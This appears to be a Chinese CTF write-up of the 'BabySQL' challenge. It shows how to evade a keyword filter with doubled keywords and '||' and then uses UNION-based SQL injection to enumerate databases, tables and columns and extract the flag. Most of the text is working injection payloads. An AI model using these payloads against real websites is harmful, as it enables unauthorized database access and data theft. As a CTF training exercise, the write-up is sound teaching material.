[极客大挑战 2019]BabySQL

 已经有了提示,网站做了严格的过滤

先尝试一下万能密码

 应该是or 被过滤了,用||替换成功绕过,也可以通过双写来绕过,payload:?username=admin&password=1' || 1='1或者?username=admin&password=1'+oorr 1='1

没有拿到flag

开始sql注入

第一步开始猜字段数,payload:?username=-1' uniunionon seselectlect 1,2,3 %23 &password=1'+oorr 1='1

 成功回显

第二步,开始爆库名,payload:?username=-1' uniunionon seselectlect 1,2,database() %23 &password=1'+oorr 1='1

 是和之前的sql题目一样的数据库名

再看一下其他数据库名payload:?username=-1' uniunionon seselectlect 1,2,group_concat(table_schema) frfromom infoorrmation_schema.tables %23 &password=1'+oorr 1='1

得到一大串字符串,复制到记事本里看,发现一个'ctf'数据库。

 就进ctf数据库找flag吧

第三步,爆表名,payload:?username=-1' uniunionon seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' %23 &password=1'+oorr 1='1

 基本确定flag在这里了

第四步,确定列名,payload:?username=-1' uniunionon seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='ctf' aandnd table_name='Flag'%23 &password=1'+oorr 1='1

 最后,拿到flag,payload:?username=-1' uniunionon seselectlect 1,2,flag frfromom ctf.Flag %23 &password=1'+oorr 1='1

username=-1' uniunionon seselectlect 1,2,3 %23 &password=1'+oorr 1='1

原文地址:https://www.cnblogs.com/CNdate/p/13253785.html